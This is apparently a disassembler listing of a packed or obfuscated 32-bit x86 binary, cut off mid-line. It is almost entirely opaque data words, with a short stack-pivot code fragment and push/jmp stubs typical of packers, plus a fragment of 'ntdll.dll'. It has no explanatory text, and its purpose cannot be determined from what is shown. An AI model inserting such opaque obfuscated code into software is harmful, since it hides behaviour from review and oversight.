0F6089C3h, 958BC8BFh, 62B08D1h dd 0E185C761h, 88062B21h, 89000071h, 2B155195h, 0E585C706h dd 62B2Bh, 0F000000h, 1180h, 9E85600h, 80000000h, 5B53FFC9h dd 883A64E2h, 0B5FF5B5Bh, 62B0ECDh, 99BD8B60h, 0E8062B07h dd 14h, 0A660983h, 6B725F94h, 0A2EC6545h, 0F427C9D8h, 0C87F4F41h dd 11CD958Bh, 615E062Bh, 273195FFh, 6A062Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0AC3406C3h dd 24B86053h, 61272543h, 0B58D895Bh, 6A062B11h, 4595FF00h dd 8B062B29h, 875AEBC0h, 398CF701h, 7E30CA14h, 79DBE17Ah dd 0ADE21A12h, 3BC0955Fh, 2D146ACDh, 0BF53E3DFh, 0A578145h dd 0FE67542Bh, 0CD0D16B5h, 0DA54E0FCh, 453F315Ah, 9BCB0501h dd 3D7D6D43h, 45C2EE14h, 2238E396h, 61E1405Dh, 92111266h dd 9B70DC91h, 0F6B8A5B6h, 6F2FC5B3h, 1BD3808Eh, 0DE885h dd 0A22B0000h, 5408F7EDh, 0B9F04862h, 8BE72521h, 2B19DD85h dd 8B0F5906h, 0Ch, 68A0Fh, 0D2810000h, 0CF5ACCBh, 5FD0C181h dd 8D890000h, 62B2EEDh, 977A9FBEh, 0D7EE814Eh, 0BB4E9762h dd 7E05BA36h, 0CEB031FFh, 0F9E8805Fh, 0C6CDEF81h, 0BF0F34EFh dd 7F781DBh, 6656DA87h, 0F781C18Bh, 62108967h, 0BD293989h dd 62B1861h, 8B04E983h, 2B15819Dh, 1EE8306h, 1D850Fh, 8D890000h dd 62B1D45h, 2DE9h, 0BF3E1700h, 0AE858BC6h, 3A5E444Ah dd 63B42AEAh, 0E904A260h, 5, 4341A007h, 0FF9AE993h, 2D96FFFFh dd 9DC549D9h, 0B5632F1h, 5E8E4A4h, 0EC000000h, 0FC8A098Fh dd 15A5BD8Bh, 0F5E062Bh, 0C681C2B7h, 6B76h, 93F3C8B8h dd 686Eh, 0B4B30000h, 0E881665Ah, 0C8B6BBBh, 59858B16h dd 81062B0Ah, 0DDEB0BC1h, 0BCD48067h, 6F15C181h, 9D895DF1h dd 62B2CC9h, 8BD3E981h, 8D0F2374h, 6, 170D9D03h, 8151062Bh dd 0B5B413EBh, 16048F78h, 0DF46E081h, 0B70F2DEDh, 81EA81C2h dd 892E506Bh, 2B203185h, 7DC28106h, 562E506Bh, 89BD2B51h dd 5B062B1Bh, 50FA815Fh, 0FFFFF95h, 1F85h, 68D0F00h, 89000000h dd 2B0BA595h, 27E906h, 0AA6B0000h, 0A0CF9E3Ah, 85AD4039h dd 0DA135710h, 9C547ABBh, 0FF6CE928h, 0D6D4FFFFh, 13C0FD84h dd 212B4D6Dh, 0D76D4DA7h, 10E894h, 4A380000h, 0E658922Eh dd 27D6C919h, 0DA43927Bh, 0DE9385Fh, 29000000h, 428C2A12h dd 9C8071DDh, 4BD0CFCEh dd 0DFF4805Bh, 5D90C381h, 8E90000h, 0C4000000h, 823B5FD3h dd 689BDEE9h, 1738h, 0FEBF0F59h, 0BD8933FFh, 62B1581h dd 0BD9D895Eh, 81062B2Bh, 834386F6h, 7E830h, 5EFD0000h dd 0D5EB24B1h, 815AF8EDh, 0FA212AC6h, 0FE900h, 0EAEA0000h dd 0BBEAB57Ah, 5CE7FB9Ch, 22E1A35Ch, 0B8F6816Ch, 0E96751CFh dd 0Eh, 467967B5h, 7434EE6Eh, 0CA2986Dh, 8956D1A8h, 2B01A58Dh dd 66038F06h, 833F17BFh, 4B4B02EBh, 91850F49h, 66FFFFFFh dd 8D8DF88Bh, 63187FDh, 11E9h, 95455B00h, 22DCDBFEh, 54A250D9h dd 5609131Ch, 8D89C190h, 62B0EE1h, 8E18533h, 85C7062Bh dd 62B21E1h, 733Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 88C35545h, 0E585C7F8h, 62B2Bh, 29000000h dd 2B0FB99Dh, 0FDB5FF06h, 6A062B0Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 9FB2C351h dd 60F7B539h, 6011BD36h, 0CD88CBB9h, 95FF6150h, 62B2731h dd 0C1DB8160h, 8B1C3680h, 2B07D195h, 6A6106h, 294595FFh dd 0C08B062Bh, 245828EBh, 4E2D1D60h, 931BB17Fh, 0BDC99E2Ch dd 0E3FA831Ah, 0F19EE43Ch, 5C4EB8CDh, 0F3695375h, 0E784709Fh dd 0B1CAF71Fh, 3EE9BDF8h, 78000000h, 93792EECh, 9DE61D8Ch dd 6E2E81E8h, 6C6C6474h, 6C6C642Eh, 0BD146700h, 0B98003B2h dd 0FEh, 7 dup(0) dd 668E900h, 0CB680000h, 0E9063189h, 0FFF9F73Ch, 318A9368h dd 0F732E906h, 1D68FFF9h, 0E906318Bh, 0FFF9F728h, 318BDB68h dd 0F71EE906h, 8F68FFF9h, 0E906318Ch, 0FFF9F714h, 318D6E68h dd 0F70AE906h, 2E2FFFF9h, 0DA819E1Ah, 8BD12EEAh, 271E79B5h dd 0F46A8501h, 0F4ABD6D2h, 0D1CDF76Bh, 66A2A4B6h, 0B06C5009h dd 0FF3B1D57h, 48E20E1Dh, 3D92DA48h, 30752307h, 0E6000000h dd 0C0A34D5Bh, 48D694EBh, 0C7814541h, 58470AE1h, 5E5FE8F1h dd 0BBC6C7FAh, 75639FB9h, 94EB72E7h, 0D07F4116h, 72B53745h dd 56C894EBh, 6FF7EB57h, 7785D21Fh, 8AC6E34Eh, 0BB86AAE1h dd 6AA8ABE4h, 41EFFDCEh, 0B6D3F90h, 7EE816EAh, 26776B29h dd 234h, 4FBA4EA0h, 67F80D50h, 54F08E5Dh, 3122EB77h, 0D1EB6FC1h dd 9FC864FAh, 0C68DD471h, 0E278178Ah, 0B6770BE0h, 20AC6BF7h dd 0B10EB5E1h, 0A6430580h, 1D3D8EB0h, 49C72A81h, 96B7191Bh dd 5CCD3C58h, 0CD5887ECh, 73BA8CCEh, 608D685Dh, 0C8233FBFh dd 99C62B9Bh, 360F2CEAh, 0C6D25650h, 0BB904924h, 0CAA5C159h dd 0D77AB395h, 0A1D54EC9h, 72DD7DA5h, 3C485D17h, 0BDA6C5B2h dd 5BFC5BC7h, 5EC9C561h, 0E32A1E43h, 7082A49Ch, 1AB407A3h dd 56CE8152h, 4A000004h, 9CFB3711h, 0EC0B87B9h, 3D5A5668h dd 89E6223Ah, 0C633EFD1h, 0EED08613h, 0BF89D532h, 9332443h dd 0D4F2728Dh, 0DFED02D8h, 92DA492Dh, 810C2420h, 1B76E1C7h dd 54AB0044h, 4CD23903h, 392AF930h, 2D3BA4C9h, 8AC6EB64h dd 1C0B879Bh, 0AB54A791h, 9415DFA8h, 0ED5DAE42h, 0D67D7853h dd 0C35FBDBEh, 8ACD8894h, 0DE407312h, 0D380B321h, 65D5CEE1h dd 0DA832D3Bh, 68F6CFE0h, 407583CCh, 8BD1CDF9h, 0CA4490Ch dd 3CB16241h, 93AF7C98h, 24879B1Ah, 3DAAC737h, 5F8F42Fh dd 8DC41BDEh, 0C5C00FABh, 0FE69A583h, 0A8B4A1A3h, 0DA5AE106h dd 1C4BE77Bh, 5AE17EF0h, 9E0F13DAh, 5DE7C183h, 0F54FEBC8h dd 8EDF76A5h, 12000003h, 64837F49h, 0B4D3CFF1h, 5629EA0h dd 51AE6A42h, 8EFB3709h, 36084ECBh, 87C19DFAh, 516BEC0Bh dd 1C3A3A55h, 7153AE0h, 92DA4A65h, 81441C18h, 590AE1C7h dd 4D5B84E9h, 8AC6F2ACh, 0CA43BFA3h, 0B03A467Ah, 0C56D3F12h dd 2CFFC196h, 0D5AF612h, 98A94FFh, 0F867FB73h, 1A2C2E6Dh dd 0F2D48C93h, 12342665h, 8935B7C5h, 0D6486748h, 540C6BD7h dd 5CAC9972h, 0D5BCC817h, 0E87965AEh, 0DE43CC76h, 19CA5688h dd 30436h, 85BF9C00h, 556BEE09h, 241A3E59h, 0F0D48FE8h dd 0BD87DB34h, 0D8453441h, 2740BC86h, 76910D37h, 0C423DFE1h dd 0AC6EAA8Ch, 4BFF719Fh, 969292DAh, 0E1C781B2h, 84E9590Ah dd 4AC1CC5Bh, 183400D5h, 0FD6868A1h, 908AC6BCh, 7201128Eh dd 0F1000001h, 0FC4CBF4Eh, 0F95C68F7h, 8C8AC68Dh, 4EEDB441h dd 4A95B68Ch, 3F828C3Eh, 3D59C16Dh, 5E62F792h, 96E4F0AFh dd 8963FC8Bh, 0FCAB3439h, 7BA0BA4h, 0D877B6CCh, 516059CCh dd 19F26C8Eh, 4897DC2Ch, 0B634DB3Ch, 0E770EE74h, 1E8FA9A8h dd 39DC94F3h, 59862222h, 0C526203Ah, 0FDCE276h, 68D6D773h dd 0C173550Fh, 4BC32950h, 463F16C5h, 5A000002h, 0ACCBC701h dd 0FC1B97A9h, 4DAA6658h, 99F6320Ah, 0F603FFC1h, 0FEC09603h dd 4F79E502h, 19233453h, 0E4C2829Dh, 0CFDD7228h, 92DA4B3Dh dd 81FCD450h, 590AE1C7h, 4D5B84E9h, 8AC6EB44h, 0E2E47817h dd 0DAD6482Bh, 108F8272h, 89917A4Ch, 529FEF00h, 665EF705h dd 69F17312h, 80ED22AEh, 2292F024h, 8F7682CDh, 0A6EE012Ah dd 51FC53B8h, 7234B6C2h, 0D149CA77h, 77726507h, 870618CAh dd 9EC92696h, 46EE9172h, 3DAAB4D4h, 0E30D214Eh, 8D7C3FCFh dd 0A84D0782h, 0BB7793B5h, 2711E45Ch, 0CAA92B25h, 1B2D3512h dd 0E012AEB0h, 0EB92133Bh, 9206499Ah, 0E000001h, 60BF7B4Dh dd 0B0CFCBFDh, 11E9AACh, 4DAA6646h, 8AF73315h, 32144AD7h dd 83C599F6h, 4D77E807h, 183E3651h, 3113E9Ch, 92DA4C69h dd 8140181Ch, 590AE1C7h, 4D5B84E9h, 8AC6F2ACh, 0D443BFA3h dd 12B13B49h, 5AC46D3Fh, 0A96064FDh, 0D6E2712Dh, 94EBC054h dd 47F83129h, 5F6DFAF7h, 8ADD586Eh, 26203A61h, 0B801ABB9h dd 0EA746D25h, 0DE82014Eh, 8E7F03E8h, 0C399F483h, 89BFA2FDh dd 92ED1C22h, 2C6BF4D2h, 0A5B51628h, 0E761BE64h, 65FB96C1h dd 37F68863h, 6A87F764h, 208CEFFDh, 0ACE37313h, 1A8AC2B4h dd 0DCE6784Ah, 0DCBB2440h, 29464264h, 0B1A2092Fh, 14A32C41h dd 0DDEFE79h, 3695ABAEh, 731D8C28h, 795AE606h, 74F60229h dd 9799B26h, 0DE4FF511h, 6B569026h, 0B391B8h, 6EEF0000h dd 1A415E5Ah, 0CB91EE2Ah, 67DE39F5h, 342A4541h, 0B46B9612h dd 910D372Bh, 26E2E476h, 70AC90C9h, 0BF7B5D17h, 88224EDDh dd 0FD92DA4Dh, 1F6F6347h, 0D87785D2h, 778ADD58h, 0BD0E2828h dd 57AA019Dh, 1AC3B1Dh, 25B879F3h, 9B120C6Dh, 45D3827h dd 5657EBC0h, 0DC2F094Bh, 74521271h, 0C5401BB5h, 84BEA04h dd 0DA80DF2Ch, 132803E8h, 0D069B82Fh, 0A88EC6ECh, 0C7E1603Fh dd 45FF18C6h, 0AD8ABCA0h, 957692AAh, 0C2290F46h, 53572BD2h dd 9CFB3711h, 262982A4h, 19h, 5DAFEC9Bh, 0AA95B3B5h, 4B4244B3h dd 62F15E4Fh, 0EBC0D456h, 78B1A994h, 0E8DC8152h, 0A284BC03h dd 5B6DF249h, 17312D70h, 0CFF169B4h, 87B9A1FCh, 0BE9ED924h dd 744A0E6Dh, 33154897h, 895708D8h, 4C781E7h, 83000000h dd 3C8704EFh, 34895C24h, 20276824h, 0C890000h, 6DC66824h dd 2C890000h, 67BA5224h, 8168C873h, 6519F1C2h, 86CA8139h dd 812EC37Ch, 0C512ACC2h, 48E28112h, 8161760Bh, 0FD88A6C2h dd 0D58955C4h, 5A5DE989h, 242C8B54h, 5104C483h, 4E243481h dd 8F7E774Bh, 0B8500845h, 8, 3081E801h, 7E774B4Eh, 2434FF58h dd 4C4815Dh, 8B000000h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544660 ; --------------------------------------------------------------------------- db 26h dd 46B813B2h, 306318Eh, 1EE0FFC5h, 866D454h, 522F1DBh dd 1C247454h, 0D24B7434h, 0D57F78DFh, 0CE0E5CBAh, 66648756h dd 710E1D85h, 0FB06F3DAh, 0BA214217h, 0D346FFF0h, 0F55A2EF4h dd 0B11CF327h, 3164B349h, 0C401AF9Dh, 0E92DB4E8h, 981779ECh dd 9E1F8BCCh, 5D20F69Fh, 2476360Eh, 0D7683614h, 0C57EE4F2h dd 1B3DD19Bh, 4744E373h, 3A52E9EDh, 0E862AC94h, 0Fh, 652A458Eh dd 4F930C5Bh, 0D54F7791h, 0F56FB759h, 0D281665Fh, 0C78127F7h dd 7081h, 14E8h, 1F4BF800h, 8F2495CBh, 1D95DA31h, 24036B30h dd 0B58A086Dh, 0B95EFCFAh, 0 dd 0FFD6BF0Fh, 66603934h, 3C54E081h, 61C0C080h, 0D8BF0F58h dd 3B1CC081h, 0B70F4340h, 99C081D6h, 0E9678194h, 8, 219E946Bh dd 0D7A1999Ch, 4521F081h, 0D78B49B9h, 660F0489h, 47BBF38Bh dd 817989A9h, 3628E6E9h, 0C8D0F3Ch, 0E9000000h, 7, 6D9EA873h dd 818A83EAh, 3628E2C1h, 0F981F93Ch, 0FFFF9054h, 15850Fh dd 0E9F80000h, 29h, 7C90FBD7h, 0B3847CEAh, 76B90F53h, 66CDC3FCh dd 6742D381h, 0FFFF76E9h, 0ECDDBFFFh, 2EAF277Ah, 87D3AC9Dh dd 722CE70Bh, 33E9EAh, 30AB0000h, 74A0h, 0Bh dup(0) dd 516E900h, 8D680000h, 0E9063191h, 0FFF9EF48h, 31920368h dd 0EF3EE906h, 0A868FFF9h, 0E9063193h, 0FFF9EF34h, 0B06C5805h dd 0C03C0057h, 138FB1A7h, 5F5B7DF4h, 0E8241E40h, 1941DA9Dh dd 0CE8CEB27h, 7ADF38F4h, 2B2D4A46h, 24CB910Dh, 0DA509618h dd 556DEB92h, 4E7D981h, 1D99BFB9h, 8579CECh, 0A3C1E7Dh dd 0D8A00D83h, 0DCBB8AC6h, 0D6684365h, 2FDEFE79h, 7656114Ch dd 82698595h, 0DF10C0CFh, 0DA88224Eh, 5DFD6D3Fh, 0D589F712h dd 0C848FEEAh, 9019B5DEh, 3F5A52E0h, 89BBA36Dh, 457FDF22h dd 6E590B66h, 21539031h, 0ED8478F1h, 6340829h, 776B8A6Ch dd 32F10h, 0B54EB200h, 5E89E656h, 0C68D9332h, 6BA4BA8Ah dd 0D477647Dh, 0F4F9496Bh, 0B2E85D6Bh, 0A4D376A9h, 0CF4EA900h dd 0EC8F7E00h, 0E3935FA1h, 12AE6575h, 0AC92C6C5h, 3BCAC35Fh dd 2AB5BA0Ah, 0D9D0F46Fh, 84A32A36h, 44DA7C82h, 3018C1Bh dd 23525F9Ch, 0BDB7CAC3h, 2A414C9Bh, 0CCD6E074h, 77E05E4Fh dd 0AB004218h, 490B1697h, 0DD2AC56Fh, 0E03353E8h, 33169h dd 754F0C00h, 0C5FB5EB9h, 94AAAEC9h, 6044FF18h, 2D174BA4h dd 48D584F1h, 97F02C16h, 0E601FDC7h, 34534F71h, 3C9E1A3Ch dd 516F012Fh, 66E292DAh, 0D21F6F42h, 6C520685h, 70A839Fh dd 0DD5059F9h, 0FD6AF48Ah, 3BB5C36Eh, 4E6D25AFh, 90C6D9D0h dd 4D1572AEh, 0AF3C907Bh, 0AE6D25AFh, 0AF7BF503h, 100E6D25h dd 0ED1C2037h, 4EF4D292h, 4A32A5ABh, 0BBDA8D5Eh, 82000002h dd 0D433EFD9h, 2443BF81h, 75920E30h, 0C1DEDAF2h, 1E6BA799h dd 0A698BE5Bh, 77510D6Ah, 0C1FB5CBBh, 8CAAAAC5h, 97A54A10h dd 92DA5215h, 71D4EC68h, 0A1B65312h, 96324C9Fh, 73E42535h dd 3261EE03h, 6134D656h, 0BCA3FC68h, 0EE1F2388h, 0A2B9D463h dd 0E5656BA2h, 688ADDCDh, 372A69F6h, 65A4BA11h, 0CDAC3A96h dd 49E66D24h, 417BDFBAh, 600AD46Ah, 156D24CDh, 0A79B8405h dd 65EAEF7Bh, 1C29777h, 81330000h, 0A3C22C7h, 86BE1DEEh dd 95E564A0h, 54600F58h, 94EBC0DAh, 0D5EF70AFh, 0DDCC68F6h dd 0DE932632h, 39E8AC6h, 0C3A26B5Dh, 0B2408C5Fh, 0F86D3F3Eh dd 0D598579h, 0B1776BDCh, 30h, 11F6F1Dh, 6D2E3F94h, 4F983408h dd 0C6DA0821h, 0F0DB478Ah, 3EDA4EDCh, 0BCEB046Dh, 4FA1B4A3h dd 50C9C0D0h, 7E343E6Ch, 0EEE8776Ch, 0EA000000h, 0AE1C781h dd 2ACB847h, 7794EBC0h, 7BDF22EBh, 0E37B1641h, 0B5740AE1h dd 0B0DC6BE6h, 94EBC03Eh, 5AB18BCFh, 0A26BF7C4h, 94C3E55Fh dd 163F3CE9h, 0FA3363CAh, 0F069242Bh, 0AA63FFCCh, 0FF3B1D57h dd 0EBC425D1h, 799CD494h, 2AC4D0E5h, 5F94EBDAh, 8F0BA7C3h dd 96C12E9Eh, 0A6AD9C0Bh, 21F4F4E3h, 0EB6CB537h, 5765C894h dd 94EB6CD5h, 931AB6A8h, 74A2D17Ch, 568AFE5Bh, 8A761A93h dd 0C78AD98Ch, 5BB092C8h, 0E28C98C7h, 976D3912h, 0FF63028Bh dd 2AD6C550h, 0C527005Fh, 2E304FBEh, 4FDE7FC7h, 89259118h dd 5A6CF20Dh, 2ECC5328h, 6EE1324Ah, 116h, 94103429h, 24E0E47Bh dd 77B395CBh, 837F5918h, 0CCC8F264h, 0FD65FEA1h, 0AAB0CFCBh dd 5E031C98h, 1751AE6Ah, 827F531h, 0DA5372FCh, 29010792h dd 2BE7D981h, 76B294CCh, 0E1C78162h, 0B5ACEB76h, 0C02BC593h dd 0C05E94EBh, 6DE73AC9h, 6EDE4F4Bh, 0ED7B9EC2h, 0B96FD5DFh dd 132FFC18h, 0BEDD68F7h, 3941AA9Ch, 0C5C4FA5Eh, 0C6599ECBh dd 0F76AB18Ah, 6F2AB5D1h, 4AD5D1EBh, 0F930144Fh, 3EBC49D7h dd 144D486Dh, 4647DB30h, 0FBCC393Bh, 0A8CFD95Ah, 0AF91C7A0h dd 0E6789713h, 77440FDCh, 32000000h, 85D21F6Fh, 0DD50DF77h dd 332B768Ah, 8A4BA11h, 9201ACA3h, 0ADD9D1Fh, 73FDEBBFh dd 66D2533h, 0FA1CF18h, 426D2533h, 92D22DDCh, 5818FD77h dd 4A46E27Eh, 0BE0D2B2Dh, 0B3889612h, 685CD51Eh, 70E70242h dd 58F4C88Fh, 0ADA7C03Ch, 770AF958h, 9632D621h, 8A6FE635h dd 857F3D5h, 1AF1D78Dh, 6F68504h, 0CD872B1Fh, 90D02FEBh dd 3F255B6h, 0E4000000h, 0DC817A5Eh, 84BC03E8h, 6DF249A2h dd 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh dd 15489774h, 5708D833h, 0B951E789h, 4, 8359CF01h, 3C8704EFh dd 89535C24h, 4C381E3h, 81000000h, 4EBh, 241C8700h, 240C895Ch dd 1D6768h, 242C8900h, 9907AEB9h, 49E9D13Bh, 8105E1C1h dd 0DF6BACC1h, 0F7D98745h, 81D987DBh, 5E8910E9h, 4EC83FAh dd 81242489h, 42404h, 685D0000h, 386Bh, 81240C89h, 3BBD2434h dd 458F0B55h, 8758108h, 0B553BBDh, 5D2434FFh, 8B04C483h dd 8953240Ch, 4C381E3h, 83000000h, 1C8704C3h, 41E95C24h dd 0D7FFF9EAh, 174A7354h, 3194E3B8h, 0FFC50306h, 0D43F92E0h dd 5F41EE46h, 133704Ch, 0C334BD7Bh, 0BD2B7B27h, 897AB021h dd 0AC420B0Bh, 3F146E6Dh, 0B29A5945h, 0EEFE5A3Ah, 87F9FE17h dd 35413226h, 21A22D2Dh, 7F8D8D54h, 6A063196h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 1D22C351h, 8B09DEE7h, 2B322D85h, 11B58B06h, 89062B33h dd 2B0EE18Dh, 199D8B06h, 1062B0Bh, 2B00918Dh, 0E185C706h dd 0F8062B21h, 60000067h, 0F858D89h, 0EE9062Bh, 47000000h dd 0A6D23F48h, 7923C2D4h, 62C5CC8Ah, 85C7610Fh, 62B2BE5h dd 0 dd 159D9D8Bh, 0B5FF062Bh, 62B21A5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0D7C35141h, 0F6BD222h, 7E9DABFh dd 4F000000h, 1C7B9926h, 95FF9288h, 62B2731h, 0F1D8D681h dd 0B58B7C92h, 62B25A9h, 95FF006Ah, 62B2945h, 0EEBC08Bh dd 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 7D53FC48h, 0BF5DB160h dd 56AEB121h, 53ED8C81h, 0A5DDB7C4h, 87372710h, 69070B67h dd 56224213h, 56B8F532h, 80D6D752h, 56B9363Dh, 44BEB132h dd 8FABB132h, 41D3785Bh, 0D5821EA3h, 95541E32h, 925124D2h dd 59B4D039h, 0DAAEB132h, 1FEFEFA0h, 0A03A7D44h, 600E7918h dd 6316B7E4h, 5661B376h, 0CF45B132h, 848435C0h, 0E24992C2h dd 5D8A5D5Ch, 0ABE54A97h, 985E5DE0h, 56EA4953h, 5675B4DBh dd 21A70332h, 565DF959h, 56AF383Dh, 56ABB132h, 8A2BD132h dd 4E1F0AC8h, 568BC041h, 0E97AD132h, 8505BEC1h, 0A35DB153h dd 56F7C2CCh, 5B57B132h, 54EF0F1Fh, 5AD59BCCh, 56EAD3B4h dd 5674363Dh, 2043B132h, 565DEA24h, 0B711B132h, 0CE374894h dd 0EBB5E76Dh, 815FA3FBh, 229F4EA9h, 5675CC7Eh, 5539BE52h dd 595DB132h, 0AFCE688Dh, 37963A54h, 59ABB153h, 56D5B7BAh dd 0A260D132h, 56145DB8h, 5737BE32h, 0AA5DB132h, 5047B132h dd 7157B132h, 4899F8BEh, 0AED5B193h, 4603B132h, 0E75B132h dd 7E1D677Bh, 11597BE2h, 554BBAAFh, 565188CCh, 56A05832h dd 0D34DB132h, 0B645E86Fh, 0E1CDFDF3h, 4552D136h, 4A5DB132h dd 8E33B3AFh, 0BCF56738h, 0E87A6CD0h, 2CB012B2h, 510281B4h dd 0A075B132h, 540FB377h, 0F0529F7h, 56AEA3DAh, 0EEC38C32h dd 158F389Dh, 425D6F36h, 0B71F32B9h, 596785CEh, 56BAB1B9h dd 563CEF32h, 8A2ED132h, 565058F7h, 0F5F0B132h, 9C7190A4h dd 56EAD092h, 9FCABE52h, 37CA0552h, 5EDABE53h, 59AEB132h dd 5657B3B5h, 56CAD132h, 473DD132h, 9EAB132h, 0D43B9798h dd 42A0654Ch, 27553BAFh, 577784F7h, 5657333Dh, 0BFF1B132h dd 56D5B13Fh, 0EA49B8D4h, 36274625h, 1386E389h, 565DD012h dd 59AEB1C7h, 5657BBB3h, 56AE5832h, 0BF8EB132h, 56F9E957h dd 27CFD132h, 59848FE7h, 565DB3BDh, 37F4E632h, 44BEB132h dd 1CABB132h, 2B06D393h, 5F594B81h, 0A08D5504h, 0BA1F13C1h dd 0D252D1D0h, 56AEB134h, 5657353Dh, 59CBB132h, 0E1DA4785h dd 568BD0E8h, 5CF1BE32h, 36BAB132h, 0A1DCEA62h, 50AA23F4h dd 5957B153h, 56ABB9B0h, 5450BE32h, 36EAB132h, 0AF75B153h dd 56B2393Dh, 593DB132h, 56AEB1B2h, 5657D032h, 56A2343Dh dd 30B5B132h, 30C98488h, 561443B9h, 533FBE32h, 365DB132h dd 37650E3Dh, 0AF37B132h, 405C3052h, 0D7D150DBh, 9C1D63C5h dd 3614D041h, 56BC59CAh, 219DB132h, 0C63B1E06h, 0E5720E54h dd 56ABD06Ah, 56D5A3DBh, 0A0D53D32h, 7E5AB9CAh, 0EE889A1Ah dd 0F7039C9Fh, 54809F9Ch, 5657B132h, 44BAB132h, 0F3083F90h dd 36EAB1EFh, 0D6156FB3h, 5E53F7D1h, 0C35DB132h, 5C0B891Eh dd 37DDCB23h, 5CAC66CEh, 4BD5B032h, 55EAA132h, 4475A832h dd 56BAD030h, 373DE052h, 0B02FD76Ch, 5636C64Dh, 5A22BE32h dd 59D5B132h, 56EAB7B9h, 56FEBE32h, 56BAB132h, 45B44832h dd 63AEB132h, 165F4276h, 0EEC99590h, 39DC6B4Fh, 97EC6ACAh dd 5675F208h, 59BAB1CEh, 565DB0BBh, 56AE4832h, 564F323Dh dd 0D9A4B132h, 56D5B120h, 56EABCDBh, 10424032h, 29863D3Eh dd 0BB89866Dh, 56AE0F9Bh, 56563F3Dh, 0BF53B132h, 56D5B13Fh dd 9293E404h, 9458F843h, 4017B270h, 1E5DB147h, 0DD543A30h dd 5657D0C9h, 56ABBEDBh, 20B73332h, 0A8398405h, 499C54BBh dd 4E0A63ABh, 5415B132h, 56AEB133h, 0AF57B1CBh, 56ABB18Ah dd 56D5B132h, 0B14CB0DAh, 0D5478CA6h, 89C48832h, 0ADD7441Eh dd 6CE803Dh, 0C66BE60h, 0CC9B0B6Ah, 0CB4AE22h, 4BAE16Ah dd 3715E362h, 4EA803Dh, 0E07803Dh, 67A1E968h, 407E362h dd 0EF1803Dh, 593C803Dh, 8DEAB132h, 0E1C3E04Ah, 5F83C16h dd 0F9D338A2h, 0EF4F48Eh, 45C1E968h, 39E5F862h, 0D7B3B44Eh dd 0BFB7D9D3h, 5675B134h, 0EBAED614h, 6C0B280h, 0C9FBE60h dd 0E0DD06Ah, 0A72A74A4h, 7FB7991Ah, 56EAB7DBh, 82525732h dd 0CB79C34Fh, 0E3D12253h, 67F6D0F7h, 58BEE362h, 0D8ABB132h dd 0CC900D9Dh, 302B19F9h, 0A488E595h, 368BBE71h, 0C05EB53h dd 72EA386Ah, 3637D136h, 3B15D753h, 0BF49D00Ah, 56EAB137h dd 4AFA5F5Bh, 873BD717h, 50B4A73Ah, 90AEB132h, 48A05B5h dd 0ECA2C11h, 67DAE362h, 67E5E968h, 5675BFDBh, 3AA50F32h dd 0E667B07h, 52B92783h, 0CE493DFh, 0EF3EB6Ah, 52F1F5BBh dd 4503E362h, 8975B132h, 0AD30441Eh, 810BC02Ah, 254C1CF6h dd 99791802h, 67A4D46Eh, 56D5B7DBh, 0A22DB732h, 0C16232Fh dd 5053E96Ah, 175DB132h, 28DE6830h, 53D7BE88h, 0ECABB132h dd 5476D41Dh, 0AAEAB153h, 5674373Dh, 5643B132h, 5DD7BE32h dd 0BFAEB132h, 5657B134h, 1DB62FEAh, 56D5F1F0h, 56FD3C3Dh dd 449CB132h, 0FBAB132h, 3F4712CDh, 6FA162C6h, 0D07BEA77h dd 0FA2337B0h, 59D5B1BEh, 56EAB9B9h, 0DD13D132h, 8805BEF0h dd 5BD9BE53h, 36AEB132h, 5657383Dh, 0D7CDB132h, 37C13CF3h dd 0D4E5B132h, 5675B133h, 36BAB1CAh, 47853054h, 8925D73Eh dd 41D4BE53h, 0BFABB132h, 56D5B120h, 6C828136h, 1C2BE566h dd 9C56FC26h, 9CBA78AAh, 56AEED33h, 3657B1CAh, 36CA66B9h dd 30C07FB2h, 568B76B9h, 56795832h, 5A22B132h, 9C19770Ch dd 0A8CA97F2h, 56576026h, 0AFABB1CBh, 583CB132h, 30EAB132h dd 0F6C8CE58h, 2B3B1AD5h, 5B63C45Bh, 0BFAEB157h, 5657B120h dd 0B92D3234h, 0AAD58B1Eh, 14CA2517h, 0BCBC549Bh, 56BAF0F5h dd 565A313Dh, 0D8A1B132h, 5657B133h, 0A3ABB1C7h, 56D5BCDBh dd 0BF5C3632h, 0F395C2F8h, 930FE690h, 565D0103h, 0DA15D752h dd 37A530AEh, 37F53142h, 56D9373Dh, 0D4E5B132h, 5675B134h dd 56BA323Dh, 565DB132h, 0AFAEB1C7h, 0D358B132h, 56ABB133h dd 36D5B1CAh, 56EABEDAh, 0DB196132h, 37DF895Eh, 0A87E0830h dd 633BB6Bh, 6F3B5988h, 36CAE82Ch, 56B444CAh, 56EA4D32h dd 567D393Dh, 0E0DAB132h, 13E6D748h, 5C47D0CBh, 257B132h dd 0CD430F5Bh, 0A88185BCh, 59EAB1B6h, 5675B7B4h, 0E9DCD132h dd 563CB41Fh, 0A425D132h, 37860E3Dh, 56B9383Dh, 5B3CB132h dd 37EAB132h, 9493728Dh, 53EA43BFh, 37E3F1A6h, 4647B132h dd 0BA57B132h, 75D21B7Ah, 1DD4220Ch, 53F4DF44h, 56A72760h dd 56B35832h, 0BAA9B132h, 0BEAB3D71h, 56BBFFBAh, 5729BE32h dd 0A3D5B132h, 56EABFDBh, 0D9E23C32h, 6B1AC238h, 0E341C72Bh dd 565C39CEh, 56435832h, 446B132h, 0CFBD54FCh, 0B0EE097h dd 2A424650h, 5E8BFCF1h, 0DD3DD5ECh, 8119BEF3h, 3657B153h dd 56ABB8DBh, 3A200532h, 0D5D0B0B2h, 0DD7AAEE8h, 56BAB131h dd 370D5AB2h, 0DFA1B132h, 5657B13Fh, 56ABB9DBh, 9E402632h dd 3262FF3Eh, 0AE75B11Ah, 5A53B132h, 525DB132h, 127356D0h dd 0D5F8C3E9h, 567D738Bh, 56D54932h, 0AF800352h, 5975B153h dd 56BAA0B4h, 56515832h, 0B5AEB132h, 53148230h, 